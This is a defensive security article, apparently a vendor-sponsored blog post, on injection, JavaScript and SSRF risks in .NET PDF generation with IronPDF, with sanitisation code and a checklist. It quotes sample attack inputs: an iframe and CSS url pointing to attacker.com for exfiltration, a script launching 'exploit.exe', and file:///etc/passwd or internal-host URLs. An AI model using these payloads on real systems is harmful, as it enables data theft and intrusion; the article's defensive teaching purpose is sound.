How malicious content can hide in PDFs through template injection, JavaScript execution, and user input vulnerabilities — and how to prevent them in C# / .NET

The False Sense of Security

"We're generating PDFs, not accepting file uploads. What could go wrong?"

I've heard this from multiple engineering teams. The assumption makes sense at first glance — if you control the PDF generation process, you control the security, right?

Wrong.

Last year, I worked with a fintech company processing thousands of invoices daily. Their PDF generation seemed bulletproof: controlled templates, validated data, secure infrastructure. Until a security audit revealed something unsettling: their PDFs could execute JavaScript, leak server paths through metadata, and potentially inject malicious content through user-supplied company names.

They weren't accepting malicious PDFs. They were generating them.

This article explores the often-overlooked attack surface in PDF generation workflows, based on real vulnerabilities I've encountered and the patterns we used to address them.

Disclaimer: This is a technical security discussion based on real-world experience, not legal or compliance advice. The examples are simplified for educational purposes and should not be considered production-ready implementations.

Understanding the Attack Surface

PDF generation creates a unique security boundary that many developers underestimate. Unlike traditional XSS or SQL injection where the attack vector is obvious, PDF injection attacks exploit the gap between "data" and "rendering instructions."

The Three Primary Vectors

1. Template Injection User input that flows into template engines without proper sanitization can inject rendering logic, not just content.

2. JavaScript Execution PDFs can contain executable JavaScript. Yes, really. If not disabled, user-controlled content can trigger scripts when the PDF is opened.

3. External Resource Loading PDFs can reference external resources (images, fonts, stylesheets). Malicious actors can exploit this for SSRF attacks or information gathering.

Let me walk through each vector with real-world examples and practical mitigations.

In the examples below, we'll use IronPDF for .NET-based PDF rendering — its ChromePdfRenderOptions give you granular control over the security surface, which is exactly what this article is about.

Vector 1: Template Injection Vulnerabilities

The Scenario

You're building an invoice generation system. Users can customize their company name and address. Simple data binding, right?

// Simplified example - DO NOT USE IN PRODUCTION
var template = $@"
<html>
  <body>
    <h1>Invoice from {companyName}</h1>
    <p>Address: {address}</p>
  </body>
</html>";
var pdf = renderer.RenderHtmlAsPdf(template);

The Problem: What if companyName contains HTML or JavaScript?

companyName = "<script>alert('XSS')</script>Evil Corp"
companyName = "<iframe src='http://attacker.com/steal-data'></iframe>Legit Business"

While this won't execute JavaScript in the generated PDF by default (we'll cover that next), it can:

  • Break PDF rendering
  • Inject unwanted HTML elements
  • Create display manipulation attacks
  • Leak information through external resource requests

The Pattern: Razor Templates Without Encoding

This is particularly dangerous with template engines like Razor:

// VULNERABLE - simplified for clarity
@{
    var companyName = Model.CompanyName; // User input
}
<h1>Invoice from @Html.Raw(companyName)</h1>

Using @Html.Raw() or similar "trust this input" methods on user data creates an injection point.

The Fix: Input Sanitization + Output Encoding

Layer 1: Sanitize Input

// Simplified - production needs comprehensive validation
public string SanitizeCompanyName(string input)
{
    if (string.IsNullOrWhiteSpace(input))
        return "N/A";
    
    // Remove HTML tags
    var sanitized = Regex.Replace(input, @"<[^>]*>", string.Empty);
    
    // Remove script-like patterns
    sanitized = Regex.Replace(sanitized, @"javascript:", string.Empty, RegexOptions.IgnoreCase);
    
    // Limit length
    if (sanitized.Length > 200)
        sanitized = sanitized.Substring(0, 200);
    
    return sanitized;
}

Layer 2: Use Proper Encoding

// Razor templates with automatic encoding
<h1>Invoice from @Model.CompanyName</h1>
<!-- Razor automatically HTML-encodes unless you use Html.Raw -->

Layer 3: Content Security Policy for PDFs

With IronPDF, restrict what the rendering engine can do:

// Simplified - adjust based on your security requirements
var renderOptions = new ChromePdfRenderOptions
{
    EnableJavaScript = false, // Critical: disable JS execution
    Timeout = 60, // Prevent resource exhaustion
};
var pdf = renderer.RenderHtmlAsPdf(htmlContent, renderOptions);

Real-World Impact

I've seen template injection used to:

  • Embed hidden iframes that attempt to load external tracking pixels
  • Break PDF layout to hide invoice amounts
  • Inject fake terms and conditions sections
  • Create display-based phishing (legitimate-looking but malicious content)

The key lesson: Treat user input in templates the same way you treat user input in web applications.

Vector 2: JavaScript Execution in PDFs

This one surprises most developers: PDFs can execute JavaScript when opened in certain viewers (Adobe Reader, for example).

The Scenario

You're generating customer reports. A field contains user-provided notes:

// Oversimplified - shows the concept
var customerNote = GetCustomerNote(); // User input
var html = $@"
<html>
  <body>
    <p>Customer Note: {customerNote}</p>
  </body>
</html>";
var pdf = renderer.RenderHtmlAsPdf(html);

The Attack:

customerNote = "<script>this.exportDataObject({ cName: 'exploit.exe', nLaunch: 2 });</script>"

Depending on the PDF viewer and its security settings, this could:

  • Execute code when the PDF is opened
  • Exfiltrate data to external servers
  • Exploit viewer vulnerabilities

The Fix: Disable JavaScript + Validate Content

With IronPDF's ChromePdfRenderOptions:

// Defense in depth approach
var renderOptions = new ChromePdfRenderOptions
{
    EnableJavaScript = false, // Primary defense
    CreatePdfFormsFromHtml = false, // Disable interactive forms
};
// Additional PDF-level security
var pdf = renderer.RenderHtmlAsPdf(sanitizedHtml, renderOptions);
pdf.SecuritySettings.AllowUserAnnotations = false;
pdf.SecuritySettings.AllowUserCopyPasteContent = false; // Limit attack surface

Input Validation:

// Simplified for clarity - expand based on your threat model
public string SanitizeUserContent(string input)
{
    if (string.IsNullOrWhiteSpace(input))
        return string.Empty;
    
    // Remove script tags and event handlers
    var clean = Regex.Replace(input, @"<script[^>]*>.*?</script>", string.Empty, RegexOptions.IgnoreCase | RegexOptions.Singleline);
    clean = Regex.Replace(clean, @"on\w+\s*=", string.Empty, RegexOptions.IgnoreCase);
    
    // Remove javascript: protocol
    clean = Regex.Replace(clean, @"javascript:", string.Empty, RegexOptions.IgnoreCase);
    
    return clean;
}

The Hidden Risk: PDF Forms

If your PDFs contain interactive forms, they become a larger attack surface:

// If you must use forms, restrict their capabilities
var renderOptions = new ChromePdfRenderOptions
{
    CreatePdfFormsFromHtml = true, // Only if absolutely necessary
    EnableJavaScript = false, // Still critical
};
// After generation, lock down the PDF
pdf.SecuritySettings.AllowUserFormData = false; // Prevent form manipulation

Vector 3: External Resource Loading & SSRF

PDFs can reference external resources. This creates two risks: SSRF (Server-Side Request Forgery) and information leakage.

The Scenario

Your template allows users to add a company logo URL:

// VULNERABLE - simplified
var logoUrl = GetUserLogoUrl(); // User provides URL
var html = $@"
<html>
  <body>
    <img src='{logoUrl}' />
    <h1>Company Report</h1>
  </body>
</html>";
var pdf = renderer.RenderHtmlAsPdf(html);

The Attack:

logoUrl = "http://internal-server.local/admin"
logoUrl = "file:///etc/passwd"
logoUrl = "http://attacker.com/track?user=victim"

When the PDF rendering engine processes this:

  • It makes a request to the attacker-controlled URL
  • Potentially accesses internal resources
  • Leaks information about your infrastructure
  • Enables reconnaissance for further attacks

The Fix: Whitelist + Validation + Network Restrictions

Input Validation:

// Simplified - production needs robust URL parsing
public string ValidateResourceUrl(string url)
{
    if (string.IsNullOrWhiteSpace(url))
        return null;
    
    // Parse and validate
    if (!Uri.TryCreate(url, UriKind.Absolute, out var uri))
        return null;
    
    // Whitelist allowed schemes
    if (uri.Scheme != "https")
        return null;
    
    // Blacklist internal/private IPs
    var host = uri.Host;
    if (IsPrivateOrLocalHost(host))
        return null;
    
    // Whitelist allowed domains (if applicable)
    var allowedDomains = new[] { "cdn.yourcompany.com", "trusted-cdn.com" };
    if (!allowedDomains.Any(d => host.EndsWith(d)))
        return null;
    
    return uri.ToString();
}
private bool IsPrivateOrLocalHost(string host)
{
    // Simplified - use proper IP parsing in production
    return host == "localhost" 
        || host.StartsWith("127.") 
        || host.StartsWith("10.")
        || host.StartsWith("192.168.")
        || host.StartsWith("172.");
}

Network-Level Defense:

When possible, render PDFs in isolated environments:

  • Sandboxed containers without internal network access
  • Egress filtering to block unexpected outbound connections
  • Rate limiting on external resource fetching

IronPDF rendering configuration:

// Limit what the rendering engine can load
var renderOptions = new ChromePdfRenderOptions
{
    Timeout = 30, // Prevent hanging on slow/malicious resources
    EnableJavaScript = false,
    // Additional security configurations
};

Defense in Depth: Pre-download and Validate

For highest security, fetch and validate resources before rendering:

// Simplified pattern - not production-ready
public async Task<string> SecureResourceHandling(string userProvidedUrl)
{
    var validatedUrl = ValidateResourceUrl(userProvidedUrl);
    if (validatedUrl == null)
        return GetDefaultImage(); // Fallback to safe default
    
    // Fetch with restrictions
    using var client = new HttpClient { Timeout = TimeSpan.FromSeconds(5) };
    var response = await client.GetAsync(validatedUrl);
    
    if (!response.IsSuccessStatusCode)
        return GetDefaultImage();
    
    // Validate content type
    var contentType = response.Content.Headers.ContentType?.MediaType;
    if (contentType != "image/png" && contentType != "image/jpeg")
        return GetDefaultImage();
    
    // Convert to base64 data URI (eliminates external request during PDF generation)
    var bytes = await response.Content.ReadAsByteArrayAsync();
    var base64 = Convert.ToBase64String(bytes);
    return $"data:{contentType};base64,{base64}";
}

This approach:

  • Validates URLs before use
  • Controls the request (timeout, headers, etc.)
  • Embeds resources as data URIs (no external requests during PDF generation)
  • Provides safe fallbacks

The Hidden Vectors: What Else Can Go Wrong

Beyond the main three, watch for these often-missed attack surfaces:

1. CSS Injection

CSS can leak data through background-image requests or create display manipulation:

/* Attacker-controlled CSS */
body { background: url('http://attacker.com/exfil?data=...'); }

Fix: Sanitize CSS or use predefined stylesheets only.

2. Font Loading

Custom fonts can be used for fingerprinting or SSRF:

<style>
@font-face { src: url('http://attacker.com/track'); }
</style>

Fix: Whitelist font sources or embed fonts as base64.

3. Metadata Injection

User input in PDF metadata can leak information or break parsing:

// VULNERABLE if user controls these values
pdf.MetaData.Author = userInput; // Could contain malicious content
pdf.MetaData.Title = customerCompanyName;

Fix: Sanitize metadata fields and validate character encoding.

Practical Defense Framework

Based on real implementations, here's a layered defense approach:

Layer 1: Input Validation (Entry Point)

✓ Whitelist allowed characters/patterns
✓ Length limits
✓ Type validation (URLs, emails, etc.)
✓ Reject known malicious patterns

Layer 2: Sanitization (Before Template)

✓ HTML encoding for all user content
✓ Remove/escape script tags and event handlers
✓ Validate and restrict URLs
✓ Use parameterized templates (not string concatenation)

Layer 3: Rendering Security (PDF Generation)

✓ Disable JavaScript execution
✓ Restrict external resource loading
✓ Set appropriate timeouts
✓ Use [IronPDF](https://ironsoftware.com/csharp/pdf/?utm_source=medium&utm_medium=referral&utm_campaign=kiell-pdf-injection-attacks) security settings — disable JavaScript execution, restrict form creation, control metadata, and set PDF permissions (see IronPDF docs)

Layer 4: Post-Generation Hardening (Output)

✓ Set PDF security permissions
✓ Sanitize metadata
✓ Validate generated PDF structure
✓ Scan for embedded scripts (if high-risk environment)

Layer 5: Infrastructure (Environment)

✓ Render in isolated/sandboxed environments
✓ Network egress filtering
✓ Monitoring and alerting for anomalies
✓ Regular security testing

Real-World Implementation Checklist

Based on lessons learned from production systems:

Before You Generate:

  • [ ] All user input is validated against expected patterns
  • [ ] HTML/JavaScript content is sanitized or encoded
  • [ ] URLs are validated and whitelisted
  • [ ] Input length limits are enforced

During Generation:

  • [ ] JavaScript execution is disabled in PDF renderer
  • [ ] External resource loading is restricted
  • [ ] Timeouts prevent resource exhaustion
  • [ ] Templates use proper encoding (no Html.Raw on user input)

After Generation:

  • [ ] PDF security settings are applied (restrict editing, scripts)
  • [ ] Metadata is sanitized
  • [ ] Generated PDFs are stored securely
  • [ ] Access is logged for audit purposes

Infrastructure:

  • [ ] PDF generation runs in isolated environment
  • [ ] Network egress is filtered
  • [ ] Monitoring alerts on anomalies (unusual generation times, external requests)
  • [ ] Regular security assessments include PDF workflows

Lessons from the Field

1. "Just Disable JavaScript" Isn't Enough

Disabling JavaScript is critical, but it's one control in a defense-in-depth strategy. I've seen systems with JavaScript disabled still vulnerable to:

  • Template injection that breaks rendering
  • SSRF through image/CSS URLs
  • Display manipulation through HTML injection

Better approach: Layer multiple controls and validate inputs at every boundary.

2. Developer Convenience vs Security Theater

Don't make security so complex that developers bypass it. I've seen teams implement strict input validation that was so restrictive developers added "temporary" bypasses that became permanent.

Better approach: Make secure patterns easy to use. Provide sanitization helpers, secure template examples, and clear documentation.

3. Test with Malicious Intent

Most testing focuses on happy paths. Security testing requires thinking like an attacker:

  • What if I put HTML in the company name field?
  • Can I make the system fetch internal URLs?
  • What happens if I inject 10MB of data?

Better approach: Include security test cases in your test suite. Automate injection testing.

4. Monitor in Production

Attacks often appear as anomalies before they succeed:

  • Unusual characters in input fields
  • Requests to unexpected external domains
  • PDF generation taking significantly longer than normal

Better approach: Implement monitoring for security-relevant metrics, not just performance.

Frequently Asked Questions

Can PDFs really execute JavaScript?

Yes, the PDF specification supports embedded JavaScript, and viewers like Adobe Reader can execute it. Disabling JavaScript during generation (EnableJavaScript = false in IronPDF) is a critical security control. This prevents the rendering engine from embedding executable scripts in the generated PDF.

Is IronPDF safe for generating PDFs with user input?

IronPDF provides granular security controls — disable JavaScript execution, restrict form creation, lock down metadata, and set PDF security permissions. Combined with input sanitization, it enables defense-in-depth PDF generation. The library gives you the tools; implementing secure patterns is your responsibility.

What's the most common PDF injection vulnerability?

Template injection through unsanitized user input. Developers often trust user data (company names, addresses, notes) without HTML-encoding before rendering to PDF. This allows attackers to inject HTML, JavaScript, or malicious URLs that get embedded in the final document.

Does disabling JavaScript in IronPDF prevent all PDF attacks?

No. JavaScript disabling is essential but insufficient alone. You also need input sanitization, URL whitelisting, metadata control, and sandboxed rendering. The article's five-layer defense framework covers the full approach — treating PDF generation with the same security rigor as web application development.

Conclusion: Input is Untrusted Until Proven Otherwise

PDF generation creates a unique attack surface because it sits at the boundary between data and rendering logic. User input — company names, addresses, notes, URLs — can become attack vectors if not properly validated and sanitized.

The teams that handle this well:

  • Treat PDF generation with the same security rigor as web applications
  • Validate and sanitize inputs at every layer
  • Use tools like IronPDF with security-first configurations
  • Test for malicious inputs, not just valid data
  • Monitor for anomalies in production

PDF injection vulnerabilities aren't theoretical. They're real, they're often overlooked, and they can have serious consequences — from information disclosure to code execution.

The good news? They're also preventable with proper input handling, secure configurations, and defense-in-depth thinking.

If you're building PDF generation workflows in .NET and want the security controls demonstrated in this article, IronPDF provides the ChromePdfRenderOptions, SecuritySettings, and metadata APIs shown throughout these examples.

👉 Explore IronPDF's security features and try the security configurations shown in this article with a free trial.

In the next article, we'll explore another overlooked attack surface: PDF metadata and information leakage — what your generated PDFs reveal about your infrastructure, and how to prevent reconnaissance through document properties.

Have you encountered PDF injection issues in your systems? I'd be interested in hearing about other attack patterns or defense strategies that have worked in your environment.

Building secure document generation systems? Let's connect and share experiences.